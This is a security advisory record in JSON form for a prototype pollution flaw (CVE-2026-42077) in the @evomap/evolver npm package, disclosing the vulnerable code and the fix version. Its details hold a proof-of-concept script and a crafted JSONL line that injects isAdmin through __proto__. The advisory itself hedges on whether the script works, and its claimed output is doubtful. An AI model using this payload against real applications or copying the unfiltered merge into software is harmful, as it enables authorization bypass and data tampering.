CVE-2026-42077: @evomap/evolver Evolver Has Prototype Pollution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2cjr-5v3h-v2w4",
  "modified" : "2026-05-04T19:54:38Z",
  "published" : "2026-04-22T22:05:28Z",
  "aliases" : [ "CVE-2026-42077" ],
  "summary" : "Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations",
  "details" : "### Summary\nA prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Details\nThe vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:\n\n```javascript\n// src/proxy/mailbox/store.js:115-128\n_applyUpdate(row) {\n  if (row._op === 'update') {\n    const existing = this._index[row.id];\n    // VULNERABLE: Direct Object.assign without key filtering\n    if (existing) Object.assign(existing, row.fields);\n    else this._index[row.id] = row.fields;\n  }\n  // ...\n}\n\n// src/proxy/mailbox/store.js:138-150\n_updateRecord(id, fields) {\n  const existing = this._index[id];\n  // VULNERABLE: Direct Object.assign without key filtering\n  if (existing) Object.assign(existing, fields);\n  // ...\n}\n```\n\nThe vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.\n\nThe data flows from:\n1. `messages.jsonl` file → \n2. `readLines()` function (line 47) → \n3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) → \n4. `Object.assign()` pollutes prototype\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to write to the mailbox messages file\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-prototype-pollution.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable Store class logic\nclass VulnerableStore {\n  constructor(filePath) {\n    this.filePath = filePath;\n    this._index = {};\n  }\n\n  load() {\n    if (!fs.existsSync(this.filePath)) return;\n    const lines = fs.readFileSync(this.filePath, 'utf8').split('\\n');\n    for (const line of lines) {\n      if (!line.trim()) continue;\n      try {\n        const row = JSON.parse(line);\n        this._applyUpdate(row);\n      } catch (e) {\n        // Ignore parse errors\n      }\n    }\n  }\n\n  _applyUpdate(row) {\n    if (row._op === 'update') {\n      const existing = this._index[row.id];\n      // VULNERABLE: No filtering of dangerous keys\n      if (existing) Object.assign(existing, row.fields);\n      else this._index[row.id] = row.fields;\n    }\n  }\n\n  update(id, fields) {\n    this._updateRecord(id, fields);\n  }\n\n  _updateRecord(id, fields) {\n    const existing = this._index[id];\n    // VULNERABLE: No filtering of dangerous keys\n    if (existing) Object.assign(existing, fields);\n    else this._index[id] = fields;\n  }\n}\n\n// Test the vulnerability\nconsole.log('=== Testing Prototype Pollution ===\\n');\n\n// Create a malicious messages.jsonl file\nconst maliciousContent = JSON.stringify({\n  _op: 'update',\n  id: 'msg-123',\n  fields: {\n    __proto__: {\n      polluted: true,\n      isAdmin: true\n    },\n    normalField: 'normalValue'\n  }\n}) + '\\n';\n\nconst testDir = '/tmp/evolver-pollution-test';\nif (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });\nconst testFile = path.join(testDir, 'messages.jsonl');\n\nfs.writeFileSync(testFile, maliciousContent);\nconsole.log('Created malicious messages.jsonl');\n\n// Load the store (this triggers the vulnerability)\nconst store = new VulnerableStore(testFile);\nstore.load();\n\n// Check if prototype was polluted\nconsole.log('\\n=== Checking for prototype pollution ===');\nconst testObj = {};\nconsole.log('testObj.polluted:', testObj.polluted);\nconsole.log('testObj.isAdmin:', testObj.isAdmin);\n\nif (testObj.polluted === true) {\n  console.log('\\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');\n  console.log('All objects now have \"polluted\" and \"isAdmin\" properties.');\n} else {\n  console.log('\\n🟡 Prototype pollution may require different payload structure');\n}\n\n// Demonstrate impact - bypassing authentication check\nconsole.log('\\n=== Impact Demonstration ===');\nfunction checkAdmin(user) {\n  // Typical pattern that would be vulnerable\n  if (user.isAdmin) {\n    return 'Access granted - Admin privileges';\n  }\n  return 'Access denied';\n}\n\nconst regularUser = { name: 'normal_user' };\nconsole.log('Regular user check:', checkAdmin(regularUser));\n\n// Cleanup\nfs.rmSync(testDir, { recursive: true });\n```\n\n2. Run the test:\n```bash\nnode test-prototype-pollution.js\n```\n\n**Expected output:**\n```\n=== Checking for prototype pollution ===\ntestObj.polluted: true\ntestObj.isAdmin: true\n\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!\nAll objects now have \"polluted\" and \"isAdmin\" properties.\n\n=== Impact Demonstration ===\nRegular user check: Access granted - Admin privileges\n```\n\n**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.\n\n**Attack scenario:**\nIf an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:\n```jsonl\n{\"_op\":\"update\",\"id\":\"malicious\",\"fields\":{\"__proto__\":{\"isAdmin\":true,\"canExecuteArbitraryCode\":true}}}\n```\n\n### Impact\nThis is a **Prototype Pollution** vulnerability that can lead to:\n- Property injection affecting all JavaScript objects\n- Authentication/authorization bypass\n- Application logic manipulation\n- Denial of service via prototype corruption\n- Potential remote code execution if polluted properties affect security-critical code paths\n\n**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:\n- File upload vulnerabilities\n- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)\n- Compromised backup files\n- Shared hosting environments\n\n**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@evomap/evolver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.69.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42077"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EvoMap/evolver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T22:05:28Z",
    "nvd_published_at" : "2026-05-04T17:16:24Z"
  }
}